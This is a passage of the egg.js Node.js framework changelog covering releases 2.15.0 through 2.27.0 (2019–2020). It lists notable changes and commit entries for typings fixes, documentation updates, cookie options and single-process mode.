[[`95776d646`](http://github.com/eggjs/egg/commit/95776d6462080448e946c049f9ad4da4e9fc065e)] - docs: fix spelling mistakes and grammatical errors (#4423) (Hridayesh Sharma <<vyasriday7@gmail.com>>)\n  * [[`50976280f`](http://github.com/eggjs/egg/commit/50976280fcb19ce556ddc46f76da1f5fab46fa4a)] - docs: update compress url  (#4415) (忽如寄 <<594613537@qq.com>>)\n\n## 2020-06-29, Version 2.27.0 @killa\n\n### Notable Changes\n\n* **typings**\n  * fix curl type\n  * export EggLogger/EggHttpClient/EggContextHttpClient\n\n* **docs**\n  * update docs about how to extends ctx.helper\n\n### Commits\n\n  * [[`b5cc8b6e3`](http://github.com/eggjs/egg/commit/b5cc8b6e361b1ac2e7b4eb509f1e6486fe1dab13)] - fix(dts): fix curl type (#4312) (胡宇航 <<591765099@qq.com>>)\n  * [[`432128a80`](http://github.com/eggjs/egg/commit/432128a80aefdc8d11a6571da1ff35550e85fd66)] - type: export EggLogger/EggHttpClient/EggContextHttpClient (#4280) (killa <<killa123@126.com>>)\n  * [[`eca6b04c1`](http://github.com/eggjs/egg/commit/eca6b04c1c50bc69c53f9910cc35bb7441c7cb02)] - docs:update docs about how to extends ctx.helper (#4362) (EasonQwQ <<750225883@qq.com>>)\n\n\n## 2020-05-13, Version 2.26.1 @dead-horse\n\n### Notable Changes\n\n* **fixes**\n  * runInBackground always run after setImmediate\n\n* **docs**\n  * imporve docs\n  * imporve typings\n\n### Commits\n\n  * [[`9c67298d6`](http://github.com/eggjs/egg/commit/9c67298d69946d4ba0887c3648d3404e835c6902)] - test: run test on node 14 (#4272) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`427a30a07`](http://github.com/eggjs/egg/commit/427a30a071d248cc2e5e15bb4bad35f3058e867f)] - test: make dnscache test case more stable (#4297) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`64efd076b`](http://github.com/eggjs/egg/commit/64efd076bf9d937e36748f89bada6fce186913cd)] - fix: runInBackground always run after setImmediate (#4296) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`69923977a`](http://github.com/eggjs/egg/commit/69923977a7e5c0825f2fc5c616852b0721411a0c)] - docs: Update doc for config of logger.consoleLevel (#4276) (xuxu <<must414@163.com>>)\n  * [[`7b6e4371c`](http://github.com/eggjs/egg/commit/7b6e4371c7367583627977a0ca4aa2ff66e28429)] - docs(typescript): Add --noEmit to unittest example code (#4250) (Ink <<chceyes@gmail.com>>)\n  * [[`3413e35fd`](http://github.com/eggjs/egg/commit/3413e35fd86408896e5c0b7e77ec2528ac08c9f9)] - chore: fix typo (#4234) (zoomdong <<1344492820@qq.com>>)\n  * [[`b4b9b50af`](http://github.com/eggjs/egg/commit/b4b9b50af1bb842e0138fc236d45882188698123)] - doc (socketio): fix packet middleware bug (#4204) (zfx <<502545703@qq.com>>)\n  * [[`2fcd605c6`](http://github.com/eggjs/egg/commit/2fcd605c6397480b0a5add9c11f7c7d071393de5)] - docs: update bodyParser types and doc (#4192) (sexy pig <<353071655@qq.com>>)\n  * [[`5e2bad0c4`](http://github.com/eggjs/egg/commit/5e2bad0c421952b7c84471df06d2ca80c20fa14c)] - docs: fix typo in router (#4203) (Xuemuyang <<myoungxue@gmail.com>>)\n  * [[`1181a675c`](http://github.com/eggjs/egg/commit/1181a675cae08c2d6952b8c15a3a9375947e220b)] - docs(plugin): format en/basics/plugin.md (#4168) (chs97 <<623528324@qq.com>>)\n  * [[`e9011e8f3`](http://github.com/eggjs/egg/commit/e9011e8f332a97da7e6e112d0f1ded42f0b5db42)] - feat: add http method patch to typings (#4125) (xiaoxu <<xiao.xu515@gmail.com>>)\n  * [[`2109505b4`](http://github.com/eggjs/egg/commit/2109505b40a159cd047075e566e9465b1ad5a365)] - test: fix doctools path on windows (#4090) (fengmk2 <<fengmk2@gmail.com>>)\n\n\n## 2019-12-07, Version 2.26.0 @fengmk2\n\n### Notable changes\n\n* **features**\n  * add application level Cookie options, can fix [Cookie SameSite warning on Chrome](https://support.google.com/chrome/thread/16654793?hl=en) now.\n  * use new URL instead of url.parse, avoiding potential security issues.\n\n### Commits\n\n  * [[`b28134e77`](http://github.com/eggjs/egg/commit/b28134e7709c803eb7a7ed071a25bac8a28e3d1f)] - feat: add application level Cookie options (#4086) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`b7718c1cc`](http://github.com/eggjs/egg/commit/b7718c1cc2b94b02ee728088060fdbc85e462b6d)] - fix: use new URL instead of url.parse (#4048) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`afed9105d`](http://github.com/eggjs/egg/commit/afed9105df34aad60c40ecba0e44ddaad1a605dc)] - fix: index.d.ts (#4012) (dxd <<dxd_sjtu@outlook.com>>)\n  * [[`690711bab`](http://github.com/eggjs/egg/commit/690711bab8bd8c838b4dd651baea3bc49a5fa1f1)] - test: fix the testcase error of load_boot.test.js (#4041) (Xin Wang <<wangxinalex@gmail.com>>)\n  * [[`6c55a436b`](http://github.com/eggjs/egg/commit/6c55a436bf2afb7bb99810401a6f92b3a58471ff)] - docs: fix typo (#4028) (Xuehua Cai <<pixcai@163.com>>)\n\n## 2019-10-28, Version 2.25.0 @dead-horse\n\n### Notable changes\n\n* **features**\n  * support config.maxIpsCount, deprecate config.maxProxyCount\n  * singleton returns client name when create client\n\n### Commits\n\n  * [[`b3479e8e2`](http://github.com/eggjs/egg/commit/b3479e8e2b6cc74c95eef4334bd6b054fddb6158)] - feat: support config.maxIpsCount (#4014) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`380e7d634`](http://github.com/eggjs/egg/commit/380e7d6344b4f608397fed5dea4f19918ca347f5)] - docs(env): cleanup the document (#3988) (Alpha <<AlphaWong@users.noreply.github.com>>)\n  * [[`2c5e64a50`](http://github.com/eggjs/egg/commit/2c5e64a50edd78522aa5bf83e4ea8ef4d72f5b40)] - docs: add promo link (#3995) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`adca16637`](http://github.com/eggjs/egg/commit/adca1663712acd361dddd1b390ca48dda5a3608e)] - docs(deployment): update the description for hostname (#3994) (Suyi <<thonatos@users.noreply.github.com>>)\n  * [[`27dacb7c9`](http://github.com/eggjs/egg/commit/27dacb7c9dae4b65c1b973d39aae1f8c9a4cd7b1)] - feat:Singleton returns client name when create client (#3905) (暗色调 <<41288382+dark-tone@users.noreply.github.com>>)\n  * [[`d3f68c371`](http://github.com/eggjs/egg/commit/d3f68c3710946a63f640b1885e9c7120db935d8e)] - docs(deployment): modify hostname (#3987) (zfx <<502545703@qq.com>>)\n  * [[`73ad6c086`](http://github.com/eggjs/egg/commit/73ad6c0861d5d6f8235fde2a5ba985ad9f53fcfe)] - chore: use github actions to run CI (#3974) (Suyi <<thonatos@users.noreply.github.com>>)\n\n\n## 2019-10-11, Version 2.24.0 @thonatos\n\n### Notable changes\n\n* **features**\n  * feat: set default body-parser limitation to 1mb\n\n* **fixes**\n  * app.keys getter must have a setter either\n  * more log for bodyParser\n\n* **docs**\n  * add opencollective to sponsors list\n  * update lf url\n  * fix hsts docs error\n  * fix typo of socket.io\n  * modify invalid links\n\n### Commits\n\n  * [[`bddf1e183`](http://github.com/eggjs/egg/commit/bddf1e183b5b6fc0f1414f81948ffdedd71e16a9)] - feat: set default body-parser limitation to 1mb (#3903) (Suyi <<thonatos@users.noreply.github.com>>)\n  * [[`5ddf07c43`](http://github.com/eggjs/egg/commit/5ddf07c435ad81142a6e995583849e20c7348dda)] - docs: update readme (#3968) (Suyi <<thonatos@users.noreply.github.com>>)\n  * [[`be1b72606`](http://github.com/eggjs/egg/commit/be1b72606a62a8efe88849976126cc8ca61b8d7e)] - docs(security): hsts is disabled by default (#3972) (Suyi <<thonatos@users.noreply.github.com>>)\n  * [[`e5e948783`](http://github.com/eggjs/egg/commit/e5e948783a45ea138592a33e9ae7faa20a85af26)] - docs: add opencollective to sponsors list (#3971) (Suyi <<thonatos@users.noreply.github.com>>)\n  * [[`cde921456`](http://github.com/eggjs/egg/commit/cde921456657c16dba81c6fb9c991b62a826d120)] - docs: update lf url (#3922) (Suyi <<thonatos@users.noreply.github.com>>)\n  * [[`17b22c86b`](http://github.com/eggjs/egg/commit/17b22c86b7f83bc168d9c7176191618e19add1dd)] - docs: fix typo of socket.io (#3895) (lqzhgood <<9134671+lqzhgood@users.noreply.github.com>>)\n  * [[`a9d0cf5c0`](http://github.com/eggjs/egg/commit/a9d0cf5c0d5aadc957e12854f7a3ab6469f83f75)] - fix: app.keys getter must have a setter either (#3891) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`f1707410b`](http://github.com/eggjs/egg/commit/f1707410bc3f703d69aae27965cc622b9a768107)] - docs(deployment): add logs that the egg app has been successfully connected to alinode (#3868) (hyj1991 <<yeekwanvong@gmail.com>>)\n  * [[`24c388b4a`](http://github.com/eggjs/egg/commit/24c388b4a5ec4c717875a1510accbd5882800ad0)] - docs(egg-and-koa): modify invalid links (#3851) (sdjdd <<352207572@qq.com>>)\n  * [[`84894e871`](http://github.com/eggjs/egg/commit/84894e8714747876821447faeaada0dabc2a7147)] - chore: add sponsor config (#3751) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`064616934`](http://github.com/eggjs/egg/commit/064616934b4ff2c044395baae60bd33d3d7dc5ff)] - chore: add node12 for ci (#3196) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`45a966621`](http://github.com/eggjs/egg/commit/45a966621746f9d2c9e8a91fc1b17f75d97033de)] - docs(quickstart): npm version for npm init command (#3836) (QingDeng <<zrl412@163.com>>)\n  * [[`341beda59`](http://github.com/eggjs/egg/commit/341beda59ee99867998e28603f9ed623e49c33aa)] - test: mv assert to fixtures (#3829) (Suyi <<thonatos@users.noreply.github.com>>)\n  * [[`79dbb14a5`](http://github.com/eggjs/egg/commit/79dbb14a535c27a55daf83b441b47aabff472b06)] - docs(logger): formatter (#3835) (TZ | 天猪 <<atian25@qq.com>>)\n\n## 2019-07-17, Version 2.23.0 @atian25\n\n### Notable changes\n\n* **features**\n  * error message rewrite when it has only a getter\n\n* **fixes**\n  * handleRequest method should return a promise\n  * more log for bodyParser\n\n* **docs**\n  * httpclient upload files\n  * typings improve\n\n### Commits\n\n  * [[`6bfc0eb5b`](http://github.com/eggjs/egg/commit/6bfc0eb5b9a6d38c73d46bf641ece6adda3481a1)] - feat: error message rewrite when it has only a getter (#3796) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`489f52b5c`](http://github.com/eggjs/egg/commit/489f52b5ce4078efccefc8837729b42c15828722)] - fix: handleRequest method should return a promise (#3820) (引证 <<browsnet@163.com>>)\n  * [[`29a2f2fd9`](http://github.com/eggjs/egg/commit/29a2f2fd92e4d3e3cf0ee9ff034d8cdce07ee693)] - fix: more log for bodyParser (#3809) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`6dc8a2d14`](http://github.com/eggjs/egg/commit/6dc8a2d14582c774479593f002af2f2b96e0ce96)] - chore: fix ci (#3825) (Suyi <<thonatos@users.noreply.github.com>>)\n  * [[`e30511eff`](http://github.com/eggjs/egg/commit/e30511effeb77d954e2c15b684c274b85da2c69b)] - docs: add alinode supported platforms (#3821) (hyj1991 <<yeekwanvong@gmail.com>>)\n  * [[`c67ca2059`](http://github.com/eggjs/egg/commit/c67ca2059f2c44140e3a5bc46c38c87f52a08172)] - docs: open should come with protocol (#3787) (zhennann <<zhen.nann@icloud.com>>)\n  * [[`9adcd40f8`](http://github.com/eggjs/egg/commit/9adcd40f81a22670abf2f5f9167d9c8de438ad34)] - docs(lifecyle): add class export in sample code (#3758) (Kermit Xuan <<33770367+Kermit-Xuan@users.noreply.github.com>>)\n  * [[`4ca62734d`](http://github.com/eggjs/egg/commit/4ca62734db829cad7e3ea35bc6394de98c9ad160)] - fix: typos (#3768) (Jeff <<jeff.tian@outlook.com>>)\n  * [[`b1cb5332d`](http://github.com/eggjs/egg/commit/b1cb5332d433c158f59ab4877f3f6ab07bf9fe79)] - chore: remove @types/urllib (#3732) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`3de31f541`](http://github.com/eggjs/egg/commit/3de31f5418503f02afde9e92409d5f40e664c46c)] - fix(typings): add custom logger typings (#3697) (吖猩 <<whxaxes@gmail.com>>)\n  * [[`35af6331c`](http://github.com/eggjs/egg/commit/35af6331c97b2e9c9f831ff193709f8fc984f3a9)] - docs: https options en version (#3702) (liulun <<xland@live.cn>>)\n  * [[`9c23232a4`](http://github.com/eggjs/egg/commit/9c23232a47679bdcb8f071a5cc01f013f443aa05)] - docs(sequelize): replace findById with findByPk (#3700) (Zhao zuoqi <<30346283+Mavericker-1996@users.noreply.github.com>>)\n  * [[`3fccb4f27`](http://github.com/eggjs/egg/commit/3fccb4f275b2982b974a1a1d99cec32795f4efd3)] - docs: https options (#3701) (liulun <<xland@live.cn>>)\n  * [[`5b2dbd5b0`](http://github.com/eggjs/egg/commit/5b2dbd5b097d80b0f9150d1a03ec1d9c73af8dec)] - test: fix some test methods failed on windows platform (#3686) (QingDeng <<zrl412@163.com>>)\n  * [[`409990299`](http://github.com/eggjs/egg/commit/409990299fd3afeb35968bc06b02f4b0137718ba)] - fix：add the doc test on windows (#3654) (Maledong <<maledong_github@outlook.com>>)\n  * [[`17fab1c1d`](http://github.com/eggjs/egg/commit/17fab1c1d645076bda76be351fcb3c6f86cea4ca)] - docs: httpclient upload files (#3682) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`da2d439d6`](http://github.com/eggjs/egg/commit/da2d439d6f79f767055021bf96f7ef73207a751a)] - docs（lifecyle): fix typo (#3681) (+v <<ljw@live.jp>>)\n\n## 2019-04-30, Version 2.22.2 @atian25\n\n### Notable changes\n\n* **fixes**\n  * optimize declaration of httpclient\n\n### Commits\n\n  * [[`670ba3475`](http://github.com/eggjs/egg/commit/670ba34751af0b3869dd656064b4587affb888ec)] - fix(typings): optimize declaration of httpclient (#3665) (吖猩 <<whxaxes@gmail.com>>)\n\n## 2019-04-29, Version 2.22.1 @atian25\n\n### Notable changes\n\n* **fixes**\n  * should restore agent messenger first\n\n### Commits\n\n  * [[`04adcf93b`](http://github.com/eggjs/egg/commit/04adcf93b8f0a8c48c35015e8d2a279fc7d06b24)] - fix: should restore agent messenger first (#3658) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`99eb75398`](http://github.com/eggjs/egg/commit/99eb7539850c117d3d8b05f669cae5a9e9269be8)] - docs: fix history time (#3655) (TZ | 天猪 <<atian25@qq.com>>)\n\n## 2019-04-29, Version 2.22.0 @atian25\n\n### Notable changes\n\n* **features**\n  * switch httpclient to httpclient2 for retry feature\n  * add BaseHookClass\n\n* **fixes**\n  * loadCustomLoader should be run before loadCustomApp\n\n* **docs**\n  * d.ts for single mode\n\n### Commits\n\n  * [[`d3b1cb5d9`](http://github.com/eggjs/egg/commit/d3b1cb5d9d2dd91330778966ba9813f56476a47b)] - fix: loadCustomLoader should be run before loadCustomApp (#3652) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`7cc8aab02`](http://github.com/eggjs/egg/commit/7cc8aab02d89869b4ce460b2fa186aedcf00b64b)] - chore: update packages,remove 'plugin' and validations of doc generation (#3643) (Maledong <<maledong_github@outlook.com>>)\n  * [[`bffb6448f`](http://github.com/eggjs/egg/commit/bffb6448f201ce0d61bd3a32b91f673cf5c074f4)] - docs: fix httpclient proxy (#3638) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`e7fbd68f3`](http://github.com/eggjs/egg/commit/e7fbd68f32054041b74bc860f11aca05c025c0a9)] - feat: switch httpclient to httpclient2 for retry feature (#3626) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`8bb7c7e7d`](http://github.com/eggjs/egg/commit/8bb7c7e7d59d6aeca4b2ed1eb580368dcb731a4d)] - feat: add BaseHookClass (#3581) (killa <<killa123@126.com>>)\n  * [[`459454354`](http://github.com/eggjs/egg/commit/4594543543290a8c714fe3b9047c84578bf2f9a6)] - feat: index.d.ts添加单进程模式 (#3628) (jasine <<jasinechen@gmail.com>>)\n  * [[`4b13a1ffb`](http://github.com/eggjs/egg/commit/4b13a1ffbed0895731bf38f72d5786d4b15f263f)] - chore: fix jsdocs (#3627) (TZ | 天猪 <<atian25@qq.com>>)\n\n## 2019-04-12, Version 2.21.1 @dead-horse\n\n### Notable changes\n\n* **fixes**\n  * Revert \"feat: switch httpclient to httpclient2 for retry feature(which is a breaking change)\n\n### Commits\n\n  * [[`89872a76f`](http://github.com/eggjs/egg/commit/89872a76fc09cefb9ff92221a5c3b9977d206f7c)] - Revert \"feat: switch httpclient to httpclient2 for retry feature (#36… (#3622) (Yiyu He <<dead_horse@qq.com>>)\n\n## 2019-04-11, Version 2.21.0 @dead-horse\n\n### Notable changes\n\n* **features**\n  * support config.maxProxyCount to help get the real client ip\n  * switch httpclient to httpclient2 for retry feature\n\n* **docs**\n  * add how to config egg behind a proxy\n  * update http_proxy usage\n  * change `egg-init` to `npm init egg`\n\n### Commits\n\n  * [[`01b9588a3`](http://github.com/eggjs/egg/commit/01b9588a35ba33a7088e79f6d3e08c713c4de963)] - feat: support config.maxProxyCount to help get the real client ip (#3612) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`eead31862`](http://github.com/eggjs/egg/commit/eead318625347bb9de8f9d7ffc6fae5ae1b33901)] - feat: switch httpclient to httpclient2 for retry feature (#3606) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`879fe93a6`](http://github.com/eggjs/egg/commit/879fe93a6dde156101318c766a3c29ca07f1e18d)] - docs: add how to config egg behind a proxy (#3614) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`2357fbc1e`](http://github.com/eggjs/egg/commit/2357fbc1ee18cf0a8ee8692ed2d62d2224acfe3b)] - docs: remove egg-ts-helper && inspect-brk (#3603) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`e0a1d8fc6`](http://github.com/eggjs/egg/commit/e0a1d8fc6806acc0a4141bc4cf67149069bfbdf0)] - docs: change egg-init to `npm init egg` (#3588) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`763923cd7`](http://github.com/eggjs/egg/commit/763923cd76be30496fee9f733db9500c1d8188f2)] - chore: remove unused plugins.puml link (#3579) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`b1746468d`](http://github.com/eggjs/egg/commit/b1746468dae2d02aeef37f6e8d85414624c79880)] - docs(httpclient): update http_proxy usage (#3569) (TZ | 天猪 <<atian25@qq.com>>)\n\n\n## 2019-03-25, Version 2.20.2 @whxaxes\n\n### Notable changes\n\n* **fixes**\n  * onClientError remove content-length header\n\n* **types**\n  * add custom loader typing\n  * import types from egg-core\n\n### Commits\n\n  * [[`f31cd38aa`](http://github.com/eggjs/egg/commit/f31cd38aa1c1cb58f4fb6b08020b0b49a9b5c1a8)] - fix(types): add custom loader typing (#3533) (吖猩 <<whxaxes@qq.com>>)\n  * [[`a73cfd067`](http://github.com/eggjs/egg/commit/a73cfd067b48b2c2301e50d5ab431dfecebddef4)] - fix(types): import types from egg-core (#3545) (吖猩 <<whxaxes@qq.com>>)\n  * [[`04adb930d`](http://github.com/eggjs/egg/commit/04adb930de61f6c3d1b7b9b4e7f49800e3b49602)] - fix: onClientError remove content-length header (#3544) (Yiyu He <<dead_horse@qq.com>>)\n\n## 2019-03-12, Version 2.20.1 @dead-horse\n\n### Notable changes\n\n* **fixes**\n  * empty querystring must be cached\n  * add Singleton class declare typings\n\n### Commits\n\n  * [[`2fc241a86`](http://github.com/eggjs/egg/commit/2fc241a8648d64faab78196ccd0377c781287e5e)] - fix: add Singleton class declare typings (#3522) (mars <<marshalys@gmail.com>>)\n  * [[`981bad58b`](http://github.com/eggjs/egg/commit/981bad58ba6c4644b8bbbd818a43bf0dd62e206f)] - fix: empty querystring must be cached (#3535) (Yiyu He <<dead_horse@qq.com>>)\n\n\n## 2019-03-07, Version 2.20.0 @popomore\n\n### Notable changes\n\n* **features**\n  * support customLoader\n\n* **chore**\n  * fix typo\n  * fix testcase\n\n### Commits\n\n  * [[`4cf06da27`](http://github.com/eggjs/egg/commit/4cf06da272a3f71b864efb6780ddfe2e6c1ad37c)] - feat: support customLoader (#3484) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`2f2bd69bb`](http://github.com/eggjs/egg/commit/2f2bd69bb5a5ef5f9d45514c0640f3849bc64293)] - chore：Fix some typos in Chinese and English (#3514) (Maledong <<maledong_github@outlook.com>>)\n  * [[`65bdd158c`](http://github.com/eggjs/egg/commit/65bdd158caf38abfc945de9aad8367a8567b1a18)] - Fix(cluster-client.test.js)：Rollback to previous (#3507) (Maledong <<maledong_github@outlook.com>>)\n\n## 2019-02-28, Version 2.19.0 @dead-horse\n\n### Notable changes\n\n* **features**\n  * single mode support ignore warning\n\n* **fixes**\n  * fix type defined\n\n### Commits\n\n  * [[`18efac152`](http://github.com/eggjs/egg/commit/18efac152dd5cf789d1e79b1c1fb1fb4ec2013a1)] - feat: single mode support ignore warning (#3501) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`f9eea2a4d`](http://github.com/eggjs/egg/commit/f9eea2a4da805a1b2f0e8883860266d68eb432ff)] - fix(types): getFileStream options types (#3500) (kayikay <<469797590@qq.com>>)\n\n## 2019-02-26, Version 2.18.0 @dead-horse\n\n### Notable changes\n\n* **features**\n  * cluster-client support single process mode\n\n* **fixes**\n  * fix type defined\n\n### Commits\n\n  * [[`db1093128`](http://github.com/eggjs/egg/commit/db10931281dd39106e5c657e358117abd39b2103)] - feat: cluster-client support single cpu mode (#3497) (zōng yǔ <<gxcsoccer@users.noreply.github.com>>)\n  * [[`f7e6ab535`](http://github.com/eggjs/egg/commit/f7e6ab535df378b35dfe6b6b49d7e009dc2bcf3f)] - doc (typescript.md): Chinese translation for the beginning of TypeScript's Introduction (#3488) (Maledong <<maledong_github@outlook.com>>)\n  * [[`ac7e9a6b6`](http://github.com/eggjs/egg/commit/ac7e9a6b6d732d946dc238d9bad3eaabb81a1b70)] - fix: helper type (#3483) (吖猩 <<whxaxes@qq.com>>)\n\n\n## 2019-02-21, Version 2.17.0 @dead-horse\n\n### Notable changes\n\n* **features**\n  * agent context can be extended\n\n* **fixes**\n  * createAnonymousContext add host in headers\n\n### Commits\n* [[`7147b23cf`](http://github.com/eggjs/egg/commit/7147b23cf7edaa98a8f009d98de7ef2aaa5303a0)] - feat: agent context can be extended (#3478) (Hongcai Deng <<admin@dhchouse.com>>)\n* [[`a2f0d9620`](http://github.com/eggjs/egg/commit/a2f0d96204e05f11c5586ff0fa9441f4e3ab5dff)] - fix: createAnonymousContext add host in headers (#3477) (Yiyu He <<dead_horse@qq.com>>)\n* [[`5952d1240`](http://github.com/eggjs/egg/commit/5952d12404ae896a2338ee4ee79d68876ffbb205)] - docs(typescript): fix wrong path of LifeCycle (#3475) (CHANG, TZU-YEN <<try_love_tom@icloud.com>>)\n\n## 2019-02-18, Version 2.16.2 @dead-horse\n\n### Notable changes\n\n* **fixes**\n  * fix: messenger in single process mode support send without `to`\n\n### Commits\n\n  * [[`eac494184`](http://github.com/eggjs/egg/commit/eac4941846948ca6bb8a357d525ad82737425005)] - fix: support send without to argument (#3472) (Yiyu He <<dead_horse@qq.com>>)\n\n\n## 2019-02-15, Version 2.16.1 @atian25\n\n### Notable changes\n\n* **docs**\n  * remove declaration of view\n\n* **others**\n  * update dependencies\n\n### Commits\n\n  * [[`1e859f2e2`](http://github.com/eggjs/egg/commit/1e859f2e200260cab95ac0b860d85609eb3eec06)] - feat(types): remove declaration of view (#3466) (吖猩 <<whxaxes@qq.com>>)\n  * [[`4a3ab5ac0`](http://github.com/eggjs/egg/commit/4a3ab5ac0324537fc3cdbcc0e84e3085b8a34586)] - deps: update dependencies (#3464) (Yiyu He <<dead_horse@qq.com>>)\n\n## 2019-02-14, Version 2.16.0 @dead-horse\n\n### Notable changes\n\n* **features**\n  * allow ctx.router setter\n\n* **others**\n  * more document improvement\n\n### Commits\n\n  * [[`0b67c85f6`](http://github.com/eggjs/egg/commit/0b67c85f6f1798b2d3f377fb5ea336c96b60b6e3)] - feat: allow ctx.router setter (#3460) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`ae5f56f3e`](http://github.com/eggjs/egg/commit/ae5f56f3e9b60eaa3507db44736020f3a13ec6f1)] - chore: Add principles for English titles and change all English titles (#3444) (Maledong <<maledong_github@outlook.com>>)\n  * [[`a9bee07da`](http://github.com/eggjs/egg/commit/a9bee07daff1530da7350f9ad1ea56e21aa3eead)] - docs(sequelize): fix init doc (#3456) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`f76c23052`](http://github.com/eggjs/egg/commit/f76c23052c86afcf158087f8b13a7e47ef76f67c)] - docs(logger): add logger.outputJSON to docs (#3425) (FX <<friskfly@gmail.com>>)\n\n\n## 2019-02-04, Version 2.15.1 @dead-horse\n\n### Notable changes\n\n* **fixes**\n  * add missing framework support for single process mode\n\n### Commits\n\n  * [[`277c024cf`](http://github.com/eggjs/egg/commit/277c024cf565948547dbc7a518d39d7f55318f58)] - fix: add missing framework support for single process mode (#3445) (Yiyu He <<dead_horse@qq.com>>)\n\n## 2019-02-03, Version 2.15.0 @dead-horse\n\n### Notable changes\n\n* **features**\n  * [EXPERIMENT FEATURE] support single process mode\n\n* **fixes**\n  * [TYPE] array supporting for config.static.dir\n  * [TYPE] fix IMiddleware type is incompatible\n  * [TYPE] fix type error while esModuleInterop is true\n\n* **others**\n  * more document improvement\n\n### Commits\n\n  * [[`83c423a0a`](http://github.com/eggjs/egg/commit/83c423a0a985e701bfaef7f10372268b4ce8cef5)] - docs(development.md): Add English translation (Jennie <<jennie.ji@hotmail.com>>)\n  * [[`d79da17bd`](http://github.com/eggjs/egg/commit/d79da17bdbe94f7b78d923caa10abf21e6c5f752)] - fix: type error while esModuleInterop is true (#3436) (吖猩 <<whxaxes@qq.com>>)\n * [[`20ba4632b`](http://github.com/eggjs/egg/commit/20ba4632ba32e3b81e760678b4bbe00cdf05388e)] - feat: support single process mode (#3430) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`133616961`](http://github.com/eggjs/egg/commit/133616961e5a2e95d5e2cd1254d7304c846b859c)] - docs: fix typo in socketio.md (#3431) (kilmas <<kilmas@qq.com>>)\n  * [[`e899630e9`](http://github.com/eggjs/egg/commit/e899630e97865701b81d428686a19288b1c87b98)] - fix: array supporting for config.static.dir (#3421) (Gray <<njugray@gmail.com>>)\n  * [[`43f2e3c44`](http://github.com/eggjs/egg/commit/43f2e3c449a7b448506d2484ed729618b06bffec)] - fix: IMiddleware type is incompatible (#3419) (吖猩 <<whxaxes@qq.com>>)\n  * [[`b3256b54e`](http://github.com/eggjs/egg/commit/b3256b54eeb09b2cee3cfdb75e98d6c090844a10)] - doc：Add new loaderUpdate.md (#3395) (Maledong <<maledong_github@outlook.com>>)\n  * [[`71768002a`](http://github.com/eggjs/egg/commit/71768002a468a8fd30b9516c0bed85fa27b99b0a)] - docs: Wrong words are corrected (#3418) (巧克力冰激凌 <<121017405@qq.com>>)\n  * [[`20d56c7a8`](http://github.com/eggjs/egg/commit/20d56c7a83a74bb81ee47b0b8c2785db15519996)] - fix: fix ts ci (#3416) (吖猩 <<whxaxes@qq.com>>)\n  * [[`8beacd13e`](http://github.com/eggjs/egg/commit/8beacd13e3bcfff6b6a1e02eea72cafdd343858c)] - docs(logger): add logger.disableConsoleAfterReady to docs (#3384) (吖猩 <<whxaxes@qq.com>>)\n  * [[`271bc6372`](http://github.com/eggjs/egg/commit/271bc63722723531556bbec06d621f964ad1db33)] - chore: typo \"submit an PR\" should be \"submit a PR\" (#3408) (DAI JIE <<daijie@php.net>>)\n  * [[`688f67c9f`](http://github.com/eggjs/egg/commit/688f67c9f329c71ea4469b9d28d5ee41815831ed)] - Chore: Fix some chore issues (#3400) (Maledong <<maledong_github@outlook.com>>)\n  * [[`cfcebc623`](http://github.com/eggjs/egg/commit/cfcebc6234c62780c6aecf84db3862efd74e430c)] - doc (typescript.md): Sync the English translation (#3397) (Maledong <<maledong_github@outlook.com>>)\n  * [[`7e5ef2181`](http://github.com/eggjs/egg/commit/7e5ef21811f98e5d55884f2574092e6f2e7b619b)] - docs(typescript): optimize docs of typescript (#3374) (吖猩 <<whxaxes@qq.com>>)\n  * [[`2a801f789`](http://github.com/eggjs/egg/commit/2a801f789f6e60427657b507951de8fc8e4a830f)] - chore: comments typo fix (#3392) (Jeff <<jeff.tian@outlook.com>>)\n  * [[`9a4b72062`](http://github.com/eggjs/egg/commit/9a4b7206212a27d37a37a1d68b4739be306b1a7a)] - chore: fix issue template (#3369) (Suyi <<thonatos@users.noreply.github.com>>)\n  * [[`ef73396a5`](http://github.com/eggjs/egg/commit/ef73396a5828c6b4e55c85cd2b27c3830bd306e5)] - docs: improve debug docs (#3370) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`874e57fda`](http://github.com/eggjs/egg/commit/874e57fda480d3295c1b1b30198ca3493f57814d)] - docs(sequelize): fix init (#3372) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`b2152c56f`](http://github.com/eggjs/egg/commit/b2152c56f525a87fe0c1cfe66949005f308e1569)] - Chore: Fix some typo translations (#3361) (Maledong <<maledong_github@outlook.com>>)\n  * [[`d275929d1`](http://github.com/eggjs/egg/commit/d275929d17830c95a2c828611b5ca54ffb747270)] - docs(boot): update app start document (#3348) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`9a8652beb`](http://github.com/eggjs/egg/commit/9a8652bebc29f3d097039196b10daa2575f49695)] - Fix: Change the diagram of \"starting process\" (#3358) (Maledong <<maledong_github@outlook.com>>)\n  * [[`ac0f13bc6`](http://github.com/eggjs/egg/commit/ac0f13bc604ebfc08185b336a106ec7e5d1bc98f)] - 